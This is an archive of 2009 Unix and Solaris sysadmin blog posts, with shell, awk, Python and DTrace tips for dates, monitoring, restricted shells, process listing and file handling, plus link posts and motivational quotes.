2009-10-12T21:10:00.005+08:00

If you have to loop through everyday in a month to generate daily summary, you may want to know how many days in a particular month. It may not be as straightforward as you think because you need to take into account of leap year, short months, and so on. Here is a simple trick that can help you on this. Run the cal command to display the calendar and pipe it to awk to pick up the last number from the last non-empty line.

$ cal
    October 2009
Su Mo Tu We Th Fr Sa
             1  2  3
 4  5  6  7  8  9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

$ cal | awk 'NF>0{n=$NF}END{print n}'
31

$ cal 2 2012
    February 2012
Su Mo Tu We Th Fr Sa
          1  2  3  4
 5  6  7  8  9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29

$ cal 2 2012 | awk 'NF>0{n=$NF}END{print n}'
29

Date Format, N Days Ago

2009-09-26T16:35:00.003+08:00

In UNIX shell script, it is very difficult to manipulate date/time using standard UNIX commands. Modern programming languages such as Perl, Python, Tcl, ..., are designed to be a general programming/scripting language that can handle this type of task with ease.

Below shows shell functions that wrap around these general scripting languages to determine the date format that is N days ago.

ago_perl()
{
        # localtime return:
        #       Seconds past the minute
        #       Minutes past the hour
        #       Hours past midnight
        #       Day of the month
        #       Months past the start of the year
        #       Number of years since 1900
        #       Number of days since the start of the week (Sunday)
        #       Number of days since the start of the year
        #       Whether or not daylight savings is active
        days=${1:-1}
        perl -e "@t=localtime(time-86400*$days);\
                printf('%4d-%02d-%02d', @t[5]+1900, @t[4]+1, @t[3])"

}
ago_tcl()
{
        days=${1:-1}
        echo "puts [clock format [expr [clock seconds] - $days*86400] \
                -format {%Y-%m-%d}]" | tclsh
}
ago_python()
{
        days=${1:-1}
        python -c "import time, datetime
t=datetime.datetime.fromtimestamp(time.time()-86400*$days)
print '%4d-%02d-%02d' % (t.year,t.month,t.day)"
}

Here is how you can use any of these functions

$ ago=`ago_perl 45`

$ echo "45 days ago is $ago"
45 days ago is 2009-08-12

Monitoring of LTO Tape Drives via FC Switch

2009-09-13T21:59:00.002+08:00

I was trying to monitor the throughput of individual LTO tape drive but not getting any useful information from the tape library system. The only way to overcome this is to monitor it via the FC switch. In my case, it is a Brocade switch. Online SNMP MIBs for Brocade provides a very detailed description of the OIDs (swFCPortRxWords:1.3.6.1.4.1.1588.2.1.1.1.6.2.1.12 and swFCPortTxWords: 1.3.6.1.4.1.1588.2.1.1.1.6.2.1.11).

Due to the fact that the counter reset so frequent, I need to poll the FC switch every minute. Data is stored in RRDtool format.

Below shows two ways to visualise the LTO throughput. Line grpah shows individual drive throughput. Area/Stack graph shows the overall throughput of the backup:

John Ousterhout is in Stanford

2009-09-05T21:34:00.001+08:00

The creator of Tcl/Tk is now in Stanford University. Some links for those who want to find out more:

7 Mouldes of HPC Videos

2009-09-02T23:14:00.000+08:00

Sun High Performance Computing released a complete 7 modules of video (with presentation material) on parallel programming and useful technologies to assist developers. Here is the direct link

Hope you like them all.

Scaling Hadoop for Multicore and Highly Threaded Systems

2009-08-29T21:35:00.001+08:00

Here is the latest systems webinar series on Scaling Hadoop for Multicore and Highly Threaded Systems from Sun Microsystems.

Details of this webinar as mentioned in the web site:

During this webinar you will learn about: Scale — How to use Hadoop to store and process petabytes of data Performance — How to maximize parallelism per node, and the results of tests varying the number of nodes, and integrating Flash memory drives Virtualization — How we created multiple virtual nodes using Solaris Containers Reliability — How Hadoop automatically maintains multiple copies of data and redeploys tasks based on failures Deployment options — How Hadoop can be run in the "cloud" on Amazon EC2/3 services and in compute farms and high-performance computing (HPC) environments Hadoop is typically scaled on a large pool of commodity system nodes. However, by using multicore, multithreaded processors, you can achieve the same scale with fewer machines. In this Webinar, we will discuss how Sun's chip multithreading (CMT) technology-based UltraSPARC T2 Plus processor can process up to 256 tasks in parallel within a single node. We will also share with you how we evaluated CPU and I/O throughput, memory size, and task counts to extract maximal parallelism per single node.

An Introduction to Parallel Programming, Modules 3, 4 and 5

2009-08-29T21:19:00.001+08:00

If You Love Maths and Programming ....

2009-08-25T22:19:00.000+08:00

If you love maths and programming, you should visit Project Euler. As the web site mentioned:

Project Euler is a series of challenging mathematical/computer programming problems that will require more than just mathematical insights to solve. Although mathematics will help you arrive at elegant and efficient methods, the use of a computer and programming skills will be required to solve most problems.

I am warning you. Project Euler is pretty addictive site for people who are passionate about mathematics and programming

Extending A Simple HTTP Server in Python

2009-08-25T22:07:00.002+08:00

My users have this requirement of transferring files from a UNIX host to their desktop. Instead of asking them to install WinSCP or any other equivalent utility, I simply extend this Python simple http server so that they can launch the server whenever they want to transfer via browser. My modified script will listen to some random high port and also ensure that the user (unless you are root) has the ownership of the directory where they launch the http server. To avoid anyone run wild, it restricts user from launching it from the root "/" directory. This simple python script becomes pretty handy for ad-hoc file transfer.

#! /usr/local/bin/python
#
# minimal web server.  serves files relative to the current directory.
# random high port


import SimpleHTTPServer, SocketServer
import random, sys, os
import platform


#
# to avoid running wild
#
if os.path.realpath('.') == "/":
        print "ERROR. Cannot run under /. Run in another directory"
        sys.exit(1)


#
# ensure user own the directory, unless is root
#
uid=os.getuid()
owner=os.stat('.')[4]
if uid==0 or uid==owner:
        port = random.randint(50000,60000)
        url = "http://%s:%d/" % (platform.node(), port)
        try:
                Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
                httpd = SocketServer.TCPServer(("", port), Handler)
                print "Ask user to visit this URL:\n\t%s" % url
                httpd.serve_forever()
        except:
                pass
else:
        print "ERROR. You have to be either root or owner of the directory"
        sys.exit(1)

Do What You Think Is Right For The User

2009-07-25T20:54:00.010+08:00

I have been collecting disk utilisation for every server (df -k -F ufs; df -k -F vxfs) every day since Feb this year and have them append to a file. The output has been carefully prepended with timestamp and hostname like this

2009-07-14 host1 /dev/dsk/c3t0d0s0    11098457 8391180 2596293   77%    /
2009-07-14 host1 /dev/dsk/c3t0d0s5    6050982 5175437  815036    87%    /var
2009-07-14 host1 /dev/dsk/c3t1d0s2    70573141 10437628 59429782 15%    /d2
2009-07-14 host1 /dev/dsk/c3t0d0s3    51294057 43390875 7390242  86%    /d1

I have no idea of what I am going to do with the data and the file just keep growing. My gut feel tells me that it will be of some use one of these days. Now the file is 21MB in size, 248,059 lines and we are talking about appending 1500+ lines of df output per day.

# ls -lh mon-df.txt
-rw-r--r--   1 root     root     21M  Jul 25 09:00 mon-df.txt

# wc -l mon-df.txt
  248059 mon-df.txt

# tail -1 mon-df.txt
2009-07-25 host1 /dev/dsk/c4t0d0s0  2097152   34406 1933831     2%    /some/dir

# grep -c 2009-07-25 mon-df.txt
1530

Recently when I was talking to the user, I proposed a self-help web page for them to monitor their own partition size and they just loved the idea. Initially the web page was just a text-based summary of those partitions that are above the threshold. After some thoughts, I think I can visualise all these data that I have been collecting using RRDtool. This will give them a historical trending on the growth of the partition.

My colleague advised me, based on his/her experience, not to do extra stuff for user because people will eventually ask for more. If I were to take his/her advice, all the data that I collected will be useless. I am glad that I did not take up the advice. IMO, just do what you think is right for the user and everything will fall into places.

In this exercise, I created a CGI program to 'massage' the data before feeding them to RRDtool for graphing. It takes about 1.8 seconds, which is considered a bit slow. In my CGI script, I tried to do everything from AWK (trying to be smart). Although AWK is very powerful, it is not fast enough when it comes to manipulate so much data. Also, AWK will not be able to take advantage of multiple CPUs. By doing a fast grep (fgrep), which is damn fast for fix string search, and pipe the output to AWK, AWK does not have to handle that many lines and CGI response time has been cut down to less than 0.8 second. When fgrep ... | nawk ... combine in a pipe, it will spawn off two processes to run together and will utilise 2 CPUs/Cores if available. Kind of parallel shell script programming :-)

# time nawk -v host=$host -v fs=$fs -v rrdfile=$rrdfile '
$2==host && $8==fs {
        total=$4/(1024*1024)
        used=$5/(1024*1024)
        gsub("-","",$1)
        printf("update %s %s %.2lf %.2lf\n", rrdfile, $1, total, used)
}' mon-df.txt > /dev/null

real    0m1.764s
user    0m1.668s
sys     0m0.056s

# time fgrep $host mon-df.txt | time nawk -v host=$host -v fs=$fs -v rrdfile=$rrdfile '
$2==host && $8==fs {
        total=$4/(1024*1024)
        used=$5/(1024*1024)
        gsub("-","",$1)
        printf("update %s %s %.2lf %.2lf\n", rrdfile, $1, total, used)
}' > /dev/null

real        0.7
user        0.0
sys         0.0

real    0m0.752s
user    0m0.718s
sys     0m0.056s

# psrinfo | wc -l
       2

Lesson learned.

Do what you think is right for the user
Use the fastest command upfront to filter the data set before processing can give you performance advantage for large data set.
Having more than one commands (cmd1 | cmd2 | cmd3 ...) to work on the data can reduce run time in a multi-core/cpu system.

Introduction to Parallel Program: Module 2: Multicore Processor Architectures

2009-07-25T19:00:00.000+08:00

As I blogged about Module 1: Performance Tuning Video early this month, I promised to keep you posted when Module 2: Multicore Processor Architectures is available. As the author mentioned, it will be a 7-module training for Introduction to Parallel Programming. So stay tune for more

Multicore Programming Lecture Series Videos

2009-07-21T22:01:00.003+08:00

CilkArts has posted videos from their recent series of lectures detailing the various methodologies behind multicore programming. They’ve even posted the slide decks!

Lecture 1
- The multicore programming challenge
- Shared-memory hardware
- Leading concurrency platforms (Pthreads, OpenMP, TBB, Cilk++)
- Race conditions
Lecture 2
- What is Parallelism?
- Scheduling Theory
- Cilk++ Runtime System
- A Chess Lesson
Lecture 3
- Implementation of Cilk loops
- Divide-&-Conquer Recurrences
- Matrix Multiplication
- Tableau Construction

Hope you like them all.

Auto Logout Those Idle Users

2009-07-21T21:49:00.002+08:00

The CentOS OS hardening has this tip to auto-logout those idle users. Setup a readonly TMOUT variable (works in ksh and bash) in /etc/profile so that the user cannot change it. What a noble way of using readonly variable.

Computer Pioneers - Pioneer Computers Pt 2

2009-07-21T21:44:00.001+08:00

Further to my posting for Computer Pioneers - Pioneer Computers Part 1, here is the part 2

New Trick Learned

2009-07-18T21:29:00.004+08:00

Learned a new trick from the Shell Programming and Scripting from Unix and Linux Forum. Suppose you need to convert a single column file to multi-column with colon(:) as separator

$ cat a
one
two
three
four
five
six
seven
eight
nine
ten
eleven
twelve

$ cat a | paste -d: - - -
one:two:three
four:five:six
seven:eight:nine
ten:eleven:twelve

$ cat a | paste -d: - - - -
one:two:three:four
five:six:seven:eight
nine:ten:eleven:twelve

$ cat a | paste -d: - - - - - -
one:two:three:four:five:six
seven:eight:nine:ten:eleven:twelve

In Unix, if "-" is specify as the file input, it will take the input from the pipe. In our case, multiple "-" in the paste will consume input one line at a time. Just a recap, I blogged about paste command in Solaris has a limit of no more than 12 files

$ (cat a a a) | paste -d: - - - - - - - - - -
one:two:three:four:five:six:seven:eight:nine:ten
eleven:twelve:one:two:three:four:five:six:seven:eight
nine:ten:eleven:twelve:one:two:three:four:five:six
seven:eight:nine:ten:eleven:twelve::::

$ (cat a a a) | paste -d: - - - - - - - - - - - -
one:two:three:four:five:six:seven:eight:nine:ten:eleven:twelve
one:two:three:four:five:six:seven:eight:nine:ten:eleven:twelve
one:two:three:four:five:six:seven:eight:nine:ten:eleven:twelve

$ (cat a a a) | paste -d: - - - - - - - - - - - - - -
paste: too many files- limit 12

How to list only today's files

2009-07-18T21:05:00.005+08:00

Sometimes you may have difficulties in finding those files created/modified today using "find -mtime" command. What we can do is to take advantage of the "-nt" (file newer) conditional expression. By creating a file at exactly today at 00:00, we can use that to compare.

today="/tmp/today.$$"
touch -t `date '+%Y%m%d0000'` $today
for i in `find . -type f`
do
    if [ $i -nt $today ]; then
        echo $i
    fi
done
rm -f $today

BTW, "-nt" available only in Korn and Bash shell.

RRDtool Tips and Tricks

2009-07-08T15:02:00.005+08:00

I am having time-off today and found time to think about how I can determine the top 5 network throughput out of hundreds of RRD files. I stumbled upon this article: RRDtool Tips & Tricks. It is indeed a very useful paper and some of the tips mentioned helped me to summarise the data without having to do any programming. Look under the VDEF section.

The best tips are on page 2 and page 3:

Recipe for Success - Resolve the problems before anyone else finds them

... and talk about it - Being able is only half the story, the others must know too!

Computer Pioneers - Pioneer Computers Part 1

2009-07-04T21:38:00.002+08:00

Computer Pioneers - Pioneer Computers Part 1 video from Computer History Museum. This is a 53:26 video. Interested to find out the first computer bug, fast forward to 36:00 to Grace Hopper's talk.

Performance Tuning Video

2009-07-04T20:59:00.004+08:00

Sun Mircosystem's High Performance Computing portal has just launched it's first module of training material in video.

The first module is Introduction to Parallel Programming. This 25 mins video provides a lot of tips to tackle performance tuning issues. If you often like to throw hardware at performance problems, you should watch this video with an open mind.

As the presenter mentioned, the next module will cover multi-core architecture. I will post the link once it is available.

How to find cron queue size

2009-07-02T21:27:00.008+08:00

If your system replies heavy on cron (1M) to schedule jobs, you may be interested to know how many cron jobs are running. In Solaris, the default queue size for crontab(1) is 100, you can verify that with the source code.

When cron exceeds the limit, the log (/var/cron/log) will report this and it will not be able to schedule any jobs until the queue size is lower than the limit

! c queue max run limit reached Thu Jul  2 21:22:00 2009
! rescheduling a cron job Thu Jul  2 21:22:00 2009

To find out how many child processes running under the cron, we need to know the pid of cron. If your system runs Solaris container (zone), there will be more than one cron processes if you do ps -ef | grep cron. In order to exactly determine the pid of your cron, you need to specify whatever zone you are in to grep the process using pgrep(1). Once we have cron's pid, we can do a ps listing to find out all the child processes with such a parent pid.

# pgrep -x -z `zonename` cron
5847

# ptree 5847
5847  /usr/sbin/cron
  13293 sh -c sleep 1000
    13305 sleep 1000
  13295 sh -c sleep 1000
    13306 sleep 1000
  13296 sh -c sleep 1000
    13307 sleep 1000
  ......
    ......

# ps -ef -o 'pid,ppid' | nawk -v ppid=5847 '$2==ppid{++s}END{print s}'
100

# tail /var/cron/log
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009

If you are interested in cron queue size over time, you may want to put the above in a script and print out the queue size with timestamp. gnuplot is a very useful tool to visualise time-based data.

What Can You Do If You Do Not Win $1 Million From Netflix Prize Contest

2009-07-01T20:52:00.004+08:00

My friend blogged about the recent winner who has just broken the 10% improvement over the existing Netflix Cinematch algorithm.

Do you know that you can achieve a lot even if you are not the winner. "Just A Guy In A Garage" blogged about what's after netflix, although his score only ranked 18 in the leaderboard.

How to Implement Restricted Shell

2009-05-28T20:11:00.003+08:00

If you want to limit your users from running wild in your system, you may want to consider providing them with restricted shell such as /usr/lib/rsh or /bin/rksh.

According to man page of /usr/lib/rsh, the actions of rsh are identical to those of sh, except that the following are disallowed:

changing directory
setting the value of $PATH
specifying path or command names containing /
redirecting output (> and >>)

According to man page of /bin/rksh, the actions of rksh are identical to those of ksh, except that the following are disallowed:

changing directory
setting the value of SHELL, ENV, or PATH
specifying path or command names containing /
redirecting output (>, >|, <>, and >>)
changing group

Let's start to see how restrictive it can be:

# PATH=/some/dir/do/not/exist /bin/rksh

# ls
/bin/rksh: ls:  not found

# cd /
/bin/rksh: cd: restricted

# /usr/bin/ls
/bin/rksh: /usr/bin/ls: restricted

# echo $PATH
/some/dir/do/not/exist

# ../../../usr/bin/ls
/bin/rksh: ../../../usr/bin/ls: restricted

# pwd
/

# echo abc
abc

As you can see, your search PATH does not exist and therefore you have no access to any of the binaries. Also, you really cannot run anything with absolute or relative path. The only commands you can run are the builtin commands like echo and pwd. That's far too restrictive. In order to really limit the users to run only a subset of commands, we create a /rbin directory and copy (or hard link) binaries that are absolutely required. In this demo, I only provide ls, vi, more and grep.

# mkdir /rbin

# for i in ls vi more grep
do
ln /usr/bin/$i /rbin/.
done

# PATH=/rbin /bin/rksh

# ls /var/adm
acct        log         messages.2  sm.bin      utmpx
aculog      messages    messages.3  spellhist   vold.log
exacct      messages.0  pool        streams     wtmpx
lastlog     messages.1  sa          sulog

# more /etc/release
                        Solaris 10 1/06 s10x_u1wos_19a X86
           Copyright 2005 Sun Microsystems, Inc.  All Rights Reserved.
                        Use is subject to license terms.
                           Assembled 07 December 2005

# grep Solaris /etc/release
                        Solaris 10 1/06 s10x_u1wos_19a X86

# date
/bin/rksh: date:  not found

I am sure you feel pretty convinced that you are really in control of what your users can and cannot run. Now all you have to do is to set their login shell and ensure /etc/profile set the corresponding PATH to the restricted directory (/rbin).

OpenSolaris CommunityOne West Presentation Material

2009-05-28T19:47:00.003+08:00

There is an upcoming OpenSolaris CommunityOne West event 1-3 June 1 - 3 2009 in San Francisco.

If you are not able to attend (like me 13,593 km away, below are the links to download some of the presentation material:

Highlight Those Files With Space, Backslash or Non-Printable Characters

2009-05-23T13:31:00.010+08:00

In UNIX, if your filename contains space, blackslash or non-printable characters, you may have issue with applications that are not space/backslash/non-printable aware. Recently I realised that Netbackup will fail to backup files with filename ends with space. Space is not a non-printable character and it is pretty hard to identify them when you simply do a ls listing.

ls has a -b flag that is able to print those non-printable characters to be in the octal \ddd notation. It is possible to recursively list subdirectories using ls -R -b to find out file names with non-printable characters with \ddd octal string. Together with the -1 (minus one) option, we can print one entry per line of output. The output of ls -1Rb can be piped to a regular expression grep to single out those problematic filenames.
ls -1Rb | egrep '\\[0-7][0-7][0-7]|[\\ ]' will grab filenames with \ddd octal, blackslash or space.

You can even give those special characters some colour which I blogged about it before. Here is the script that will highlight these characters. ^[ means "Escape" and you need to type Ctrl-V followed by Esc to get that.

#! /bin/sh


ls -1Rb ${1:-.} | \
nawk '
/:$/ {
        sub(":","")
        d=$0
        next
}
$0 != "" {
        printf("%s/%s\n",d,$0)
}' | \
egrep '\\[0-7][0-7][0-7]|[\\ ]' | \
sed '
# non-printable character in octal \ddd
s/\(\\[0-7][0-7][0-7]\)/^[[31m\1^[[0m/g

# space
s/\([ ]\)/^[[42m\1^[[0m/g

# blackslash but not \ddd in octal
s/\(\\\)\([^0-7][^0-7][^0-7]\)/^[[34m\1^[[0m\2/g
'

WolframApha, a new kind of search

2009-05-17T18:36:00.005+08:00

Wolfram Reseach, developer for Mathematica, has just launched the WolframAlpha (Computational Knowledge Engine).

If you want to find out what it can do, watch this introduction. I am sure you will be impressed.

You can even find out the details of genome sequence ( AAGCTAGCTAGC ) or plot this function ( plot sin(x*x+y*y) ):

Busy

2009-05-13T20:59:00.001+08:00

Today, I received this from my 'the other email':

Once upon a time, a very strong woodcutter asked for a job in a timber merchant, and he got it. The pay was really good and so were the work conditions. For that reason, the woodcutter was determined to do his best.
His boss gave him an axe and showed him the area where he was supposed to work.
The first day, the woodcutter brought down 18 trees.
"Congratulations," the boss said. "Go on that way!"
Very motivated for the boss’ words, the woodcutter tried harder the next day, but he only could bring down 15 trees. The third day he tried even harder, but he only could cut 10 trees. Day after day he was bringing down lesser and lesser trees.
"I must be losing my strength", the woodcutter thought. He went to the boss and apologized, saying that he could not understand what was going on.
"When was the last time you sharpened your axe?" the boss asked.
"Sharpen my axe? I have no time to sharpen my axe, I have been very busy trying to cut trees..."

by Stephen Covey, 7 Habits of Highly Effective People:

Habit 1: Be Proactive: Principles of Personal Choice
Habit 2: Begin with the End in Mind: Principles of Personal Vision
Habit 3: Put First Things First: Principles of Integrity & Execution
Habit 4: Think Win/Win: Principles of Mutual Benefit
Habit 5: Seek First to Understand, Then to be Understood: Principles of Mutual Understanding
Habit 6: Synergize: Principles of Creative Cooperation
Habit 7: Sharpen the Saw: Principles of Balanced Self-Renewal

Which Process Deleted My File ?

2009-05-13T20:39:00.002+08:00

Ever asked this question before: "Which process deleted my file ?". In Solaris 10, you can rely on DTrace to help you to figure that out. A simple one-liner is all your need.

# dtrace -qn 'syscall::unlink:entry {printf("PID=%d, CMD=%s, FILE=%s\n", pid, curpsinfo->pr_psargs, copyinstr(arg0));}'
PID=26993, CMD=/usr/sbin/cron, FILE=/tmp/croutTKG5dKjU0
PID=26993, CMD=/usr/sbin/cron, FILE=/tmp/croutUKG6dKjU0
PID=13668, CMD=/usr/bin/mail chihung, FILE=/var/tmp/mail5iaGSA
PID=10389, CMD=/usr/sbin/cron, FILE=/tmp/croutLIEDWaOsu
PID=13669, CMD=/usr/lib/sendmail -oi -- chihung, FILE=./xfn4DCU0Ua013669
PID=26993, CMD=/usr/sbin/cron, FILE=/tmp/croutVKG7dKjU0
PID=13678, CMD=/usr/bin/mail chihung, FILE=/var/tmp/mailq0aWTA
PID=13679, CMD=/usr/lib/sendmail -oi -- chihung, FILE=./xfn4DCV0BF013679
PID=26993, CMD=/usr/sbin/cron, FILE=/tmp/croutWKG8dKjU0
PID=13689, CMD=/usr/bin/mail chihung, FILE=/var/tmp/mailtFaiVA
PID=13690, CMD=/usr/lib/sendmail -oi -- chihung, FILE=./xfn4DCW0qf013690

In UNIX, the system call to delete/remove file is "unlink" and you can see that the "path" of the file to be deleted is the only parameter passed to the function call and that's why we de-reference the pointer using copyinstr(arg0)

# man -s 2 unlink
System Calls                                            unlink(2)

NAME
     unlink, unlinkat - remove directory entry

SYNOPSIS
     #include 

     int unlink(const char *path);

     int unlinkat(int dirfd, const char *path, int flag);

DESCRIPTION
     The unlink() function removes a link  to  a  file.  If  path
     names  a  symbolic  link, unlink() removes the symbolic link
     named by path and does not  affect  any  file  or  directory
     named by the contents of the symbolic link.
      Otherwise, unlink() removes the link named by the  pathname
     pointed to by path and decrements the link count of the file
     referenced by the link.

Wanna to learn that, here are some tutorial materal I gathered from the web:

You may also want to download the DTraceToolkit to see how powerful DTrace is.

CPU and MEM Usage of Processes

2009-04-29T08:34:00.010+08:00

In Solaris, if you want to find out the percentage of CPU and memory utilisation of processes, you will use the /usr/ucb/ps aguxwww to get the details. However, sometimes the value from SZ column may be too big and overflow the formatting, as highlighted in red.

$ /usr/ucb/ps aguxwww
USER       PID %CPU %MEM   SZ  RSS TT       S    START  TIME COMMAND
root     23190  0.0  0.0 7608 4080 ?        S 08:27:47  0:00 /usr/lib/ssh/sshd
chihung  23252  0.0  0.0 3464 3040 pts/21   O 08:28:06  0:00 /usr/ucb/ps -aguxwww
root     22658  0.0  0.0    0    0 ?        S   Oct 25  0:00 zsched
root     22676  0.0  0.0 2024 1200 ?        S   Oct 25  0:16 /sbin/init
root     22678  0.0  0.110808 9496 ?        S   Oct 25  1:57 /lib/svc/bin/svc.startd
root     22680  0.0  0.1 9496 8560 ?        S   Oct 25  2:20 /lib/svc/bin/svc.configd
daemon   22720  0.0  0.0 3808 2128 ?        S   Oct 25  0:00 /usr/lib/crypto/kcfd
root     22726  0.0  0.0 4028 2824 ?        S   Oct 25  6:37 /usr/sbin/nscd
root     22782  0.0  0.0 2264 1048 ?        S   Oct 25  0:32 /usr/sbin/cron
daemon   22786  0.0  0.0 2280 1088 ?        S   Oct 25  0:00 /usr/sbin/rpcbind
daemon   22788  0.0  0.0 2336 1624 ?        S   Oct 25  0:00 /usr/lib/nfs/statd
daemon   22793  0.0  0.0 2068 1400 ?        S   Oct 25  0:00 /usr/lib/nfs/lockd
root     22794  0.0  0.0 1696  968 ?        S   Oct 25  0:03 /usr/lib/saf/sac -t 300
root     22798  0.0  0.0 1920 1184 ?        S   Oct 25  0:03 /usr/lib/saf/ttymon
root     22801  0.0  0.0 4972 3436 ?        S   Oct 25  0:00 /usr/lib/inet/inetd start
root     22804  0.0  0.0 1060  680 ?        S   Oct 25  0:15 /usr/lib/utmpd
root     22807  0.0  0.0 1952 1236 console  S   Oct 25  0:00 /usr/lib/saf/ttymon -g -d /dev/console -l console -T vt100 -m ldterm,ttcompat -
root     22870  0.0  0.0 4276  984 ?        S   Oct 25  0:00 /usr/lib/autofs/automountd
root     22871  0.0  0.0 4616 1968 ?        S   Oct 25  0:39 /usr/lib/autofs/automountd
root     22878  0.0  0.0 3352 1500 ?        S   Oct 25  0:00 /usr/lib/ssh/sshd
root     22882  0.0  0.0 3720 1756 ?        S   Oct 25  2:34 /usr/sbin/syslogd
root     22923  0.0  0.0 1700 1100 ?        S   Oct 25  0:00 /usr/sadm/lib/smc/bin/smcboot
root     22926  0.0  0.0 1696  748 ?        S   Oct 25  0:00 /usr/sadm/lib/smc/bin/smcboot
root     22927  0.0  0.0 1696  748 ?        S   Oct 25  0:00 /usr/sadm/lib/smc/bin/smcboot
root     22934  0.0  0.0 1888  716 ?        S   Oct 25  0:00 /usr/lib/locale/ja/wnn/dpkeyserv
root     22941  0.0  0.0 1572  648 ?        S   Oct 25  0:00 /usr/lib/locale/ja/wnn/jserver
root     22942  0.0  0.0 2264 1536 ?        S   Oct 25  0:00 /usr/lib/locale/ja/wnn/jserver_m
root     22946  0.0  0.0 1732  764 ?        S   Oct 25  0:00 /usr/lib/locale/ja/atokserver/atokmngdaemon
root     22951  0.0  0.0 2816 1400 ?        S   Oct 25  0:00 /usr/lib/im/htt -port 9010 -syslog -message_locale C
root     22953  0.0  0.0 4424 2448 ?        S   Oct 25  0:00 htt_server -port 9010 -syslog -message_locale C
root     22961  0.0  0.0 4400 1820 ?        S   Oct 25  0:00 /usr/dt/bin/dtlogin -daemon
root     23033  0.0  0.1 6828 5020 ?        S   Oct 25  1:28 /usr/sfw/sbin/snmpd
chihung  23197  0.0  0.0 7388 2004 ?        S 08:27:47  0:00 /usr/lib/ssh/sshd
chihung  23200  0.0  0.0 2524 1784 pts/21   S 08:27:47  0:00 -bash

Here I will show you couple of 'clean' ways to get processes' %CPU and %MEM.

With OpenSolaris, you can browse the source code and modify the formatting of the /usr/ucb/ps ps(1b). You can download the source code from here.

You can use the "-o" flag in /usr/bin/ps ps(1) to specify what you want the output to be. Here I get ps to list out only the PID, User, %CPU, %MEM and the command. Handy, isn't. man ps to find out all the format specification, or type in some garbage flags for a quick help (see below)

$ ps -ef -o 'pid,user,pcpu,pmem,args'
  PID     USER %CPU %MEM COMMAND
22951     root  0.0  0.0 /usr/lib/im/htt -port 9010 -syslog -message_locale C
22680     root  0.0  0.1 /lib/svc/bin/svc.configd
22878     root  0.0  0.0 /usr/lib/ssh/sshd
22793   daemon  0.0  0.0 /usr/lib/nfs/lockd
22927     root  0.0  0.0 /usr/sadm/lib/smc/bin/smcboot
22798     root  0.0  0.0 /usr/lib/saf/ttymon
22942     root  0.0  0.0 /usr/lib/locale/ja/wnn/jserver_m
22961     root  0.0  0.0 /usr/dt/bin/dtlogin -daemon
22678     root  0.0  0.1 /lib/svc/bin/svc.startd
22953     root  0.0  0.0 htt_server -port 9010 -syslog -message_locale C
22804     root  0.0  0.0 /usr/lib/utmpd
22788   daemon  0.0  0.0 /usr/lib/nfs/statd
22871     root  0.0  0.0 /usr/lib/autofs/automountd
22720   daemon  0.0  0.0 /usr/lib/crypto/kcfd
22923     root  0.0  0.0 /usr/sadm/lib/smc/bin/smcboot
22882     root  0.0  0.0 /usr/sbin/syslogd
23033     root  0.0  0.1 /usr/sfw/sbin/snmpd
22676     root  0.0  0.0 /sbin/init
22926     root  0.0  0.0 /usr/sadm/lib/smc/bin/smcboot
22934     root  0.0  0.0 /usr/lib/locale/ja/wnn/dpkeyserv
22794     root  0.0  0.0 /usr/lib/saf/sac -t 300
22941     root  0.0  0.0 /usr/lib/locale/ja/wnn/jserver
22807     root  0.0  0.0 /usr/lib/saf/ttymon -g -d /dev/console -l console -T vt100 -m ldterm,ttcompat -
22782     root  0.0  0.0 /usr/sbin/cron
22726     root  0.0  0.0 /usr/sbin/nscd
22786   daemon  0.0  0.0 /usr/sbin/rpcbind
22870     root  0.0  0.0 /usr/lib/autofs/automountd
23197  chihung  0.0  0.0 /usr/lib/ssh/sshd
23190     root  0.0  0.0 /usr/lib/ssh/sshd
23200  chihung  0.0  0.0 -bash
23467  chihung  0.0  0.0 ps -ef -o pid,user,pcpu,pmem,args
22946     root  0.0  0.0 /usr/lib/locale/ja/atokserver/atokmngdaemon
22801     root  0.0  0.0 /usr/lib/inet/inetd start
22658     root  0.0  0.0 zsched

$ ps -garbage
ps: arbage is an invalid non-numeric argument for -g option
usage: ps [ -aAdeflcjLPyZ ] [ -o format ] [ -t termlist ]
        [ -u userlist ] [ -U userlist ] [ -G grouplist ]
        [ -p proclist ] [ -g pgrplist ] [ -s sidlist ] [ -z zonelist ]
  'format' is one or more of:
        user ruser group rgroup uid ruid gid rgid pid ppid pgid sid taskid ctid
        pri opri pcpu pmem vsz rss osz nice class time etime stime zone zoneid
        f s c lwp nlwp psr tty addr wchan fname comm args projid project pset

Compile this ps and ptime mashup. This gives you the CPU breakdown in USR and SYS over a certain interval.

With this, you should be able to plot the CPU/MEM utilisation of processes.

Inspiring Quotes, Part 2

2009-04-17T07:34:00.003+08:00

Two weeks ago, I posted Inspiring Quotes, Part 1. Here is Part 2:

Inspiring Quotes (Part II)

"Life's challenges are not supposed to paralyze you, they're supposed to help you discover who you are. - Bernice Johnson Reagon

"Challenges are what make life interesting; overcoming them is what makes life meaningful. - Joshua J. Marine

"There are only two ways to live your life. One is as though nothing is a miracle. The other is as if everything is. " - Albert Einstein

"The measure of a man is the way he bears up under misfortune. - Plutarch

"When life gives you a hundred reasons to cry, show life that you have a thousand reasons to smile. - Duke Ellington

"Change your thoughts and you change your world. - Norman Vincent Peale

"No one can make you feel inferior without your consent. - Eleanor Roosevelt

"Life is either a daring adventure or nothing. - Helen Keller

"In the end, what we regret most are the chances we never took." - Frasier Crane

"It is hard to fail, but it is worse never to have tried to succeed. - Theodore Roosevelt

"A bend in the road is not the end of the road... unless you fail to make the turn." - Unknown

"The block of granite which was an obstacle in the pathway of the weak, became a stepping-stone in the pathway of the strong. - Thomas Carlyle

"A smooth sea never made a skillful mariner. - Anonymous

"Obstacles are those frightful things you see when you take your eyes off your goals. - Anonymous

"Our greatest glory is not in never failing, but in rising up every time we fail. - Ralph Waldo Emerson

"What happens to a man is less significant than what happens within him. - Louis L. Mann

